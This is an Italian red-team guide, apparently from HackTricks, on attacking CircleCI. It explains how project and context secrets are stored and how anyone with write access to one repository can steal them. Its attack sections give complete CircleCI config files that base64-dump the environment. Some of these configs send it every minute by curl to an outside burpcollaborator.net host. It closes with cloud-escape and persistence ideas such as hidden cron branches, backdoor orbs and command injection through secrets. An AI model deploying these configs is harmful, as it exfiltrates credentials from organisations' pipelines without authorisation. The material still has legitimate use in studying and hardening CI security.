CircleCI Security

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

CircleCI è una piattaforma di Integrazione Continua dove puoi definire modelli indicando cosa desideri che faccia con del codice e quando farlo. In questo modo puoi automatizzare i test o le distribuzioni direttamente dalla branch master del tuo repository, ad esempio.

Autorizzazioni

CircleCI eredita le autorizzazioni da github e bitbucket relative all'account che effettua l'accesso. Nel mio test ho verificato che finché hai autorizzazioni di scrittura sul repository in github, sarai in grado di gestire le impostazioni del progetto in CircleCI (impostare nuove chiavi ssh, ottenere chiavi api del progetto, creare nuove branch con nuove configurazioni di CircleCI...).

Tuttavia, è necessario essere un amministratore del repository per convertire il repository in un progetto CircleCI.

Variabili d'Ambiente e Segreti

Secondo la documentazione ci sono diversi modi per caricare valori nelle variabili d'ambiente all'interno di un flusso di lavoro.

Variabili d'ambiente integrate

Ogni contenitore eseguito da CircleCI avrà sempre specifiche variabili d'ambiente definite nella documentazione come CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME o CIRCLE_USERNAME.

Testo in chiaro

Puoi dichiararle in testo in chiaro all'interno di un comando:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Puoi dichiararli in chiaro all'interno dell'ambiente di esecuzione:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Puoi dichiararli in chiaro all'interno dell'ambiente del build-job:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Puoi dichiararli in chiaro all'interno dell'ambiente di un contenitore:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Segreti del Progetto

Questi sono segreti che saranno accessibili solo dal progetto (da qualsiasi branch). Puoi vederli dichiarati in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

La funzionalità "Importa Variabili" consente di importare variabili da altri progetti in questo.

Segreti di Contesto

Questi sono segreti che riguardano tutta l'organizzazione. Per default, qualsiasi repository sarà in grado di accedere a qualsiasi segreto memorizzato qui:

Tuttavia, nota che un gruppo diverso (anziché Tutti i membri) può essere selezionato per dare accesso ai segreti solo a persone specifiche. Attualmente, questo è uno dei modi migliori per aumentare la sicurezza dei segreti, per non permettere a tutti di accedervi ma solo a alcune persone.

Attacchi

Ricerca di Segreti in Testo Chiaro

Se hai accesso al VCS (come github) controlla il file .circleci/config.yml di ogni repository su ogni branch e cerca potenziali segreti in testo chiaro memorizzati lì.

Enumerazione delle Variabili d'Ambiente Segrete e dei Contesti

Controllando il codice, puoi trovare tutti i nomi dei segreti che vengono utilizzati in ogni file .circleci/config.yml. Puoi anche ottenere i nomi dei contesti da quei file o controllarli nella console web: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Esfiltrare i Segreti del Progetto

Per esfiltrare TUTTI i segreti del progetto e del contesto, è sufficiente avere accesso SCRITTURA a solo 1 repository nell'intera organizzazione di github (e il tuo account deve avere accesso ai contesti ma per default tutti possono accedere a ogni contesto).

La funzionalità "Importa Variabili" consente di importare variabili da altri progetti in questo. Pertanto, un attaccante potrebbe importare tutte le variabili del progetto da tutti i repository e poi esfiltrarle tutte insieme.

Tutti i segreti del progetto sono sempre impostati nell'env dei job, quindi chiamare env e oscurarlo in base64 esfiltrerà i segreti nella console di log web dei workflow:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Se non hai accesso alla console web ma hai accesso al repository e sai che viene utilizzato CircleCI, puoi semplicemente creare un workflow che viene attivato ogni minuto e che esfila i segreti verso un indirizzo esterno:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Estrarre i Segreti del Contesto

È necessario specificare il nome del contesto (questo permetterà anche di estrarre i segreti del progetto):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Se non hai accesso alla console web ma hai accesso al repository e sai che viene utilizzato CircleCI, puoi semplicemente modificare un flusso di lavoro che viene attivato ogni minuto e che esfila le segreti verso un indirizzo esterno:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Creare un nuovo file .circleci/config.yml in un repository non è sufficiente per avviare una build su CircleCI. È necessario abilitarlo come progetto nella console di CircleCI.

Fuga verso il Cloud

CircleCI ti offre l'opzione di eseguire le tue build sulle loro macchine o sulle tue. Di default, le loro macchine si trovano in GCP, e inizialmente potresti non trovare nulla di rilevante. Tuttavia, se una vittima sta eseguendo i task sulle proprie macchine (potenzialmente, in un ambiente cloud), potresti trovare un endpoint di metadati cloud con informazioni interessanti.

Nota che negli esempi precedenti è stato tutto avviato all'interno di un contenitore Docker, ma puoi anche chiedere di avviare una macchina virtuale (che potrebbe avere autorizzazioni cloud diverse):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Oppure anche un contenitore Docker con accesso a un servizio Docker remoto:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistenza

  • È possibile creare token utente in CircleCI per accedere ai punti API con l'accesso degli utenti.

  • https://app.circleci.com/settings/user/tokens

  • È possibile creare token di progetto per accedere al progetto con le autorizzazioni date al token.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • È possibile aggiungere chiavi SSH ai progetti.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • È possibile creare un lavoro cron in un branch nascosto in un progetto inaspettato che sta leakando tutte le variabili di ambiente del contesto ogni giorno.

  • Oppure creare in un branch / modificare un lavoro conosciuto che leakerà tutti i contesti e i segreti dei progetti ogni giorno.

  • Se sei un proprietario di GitHub puoi consentire orb non verificati e configurarne uno in un lavoro come backdoor

  • Puoi trovare una vulnerabilità di injection di comandi in qualche attività e iniettare comandi tramite un segreto modificandone il valore

Last updated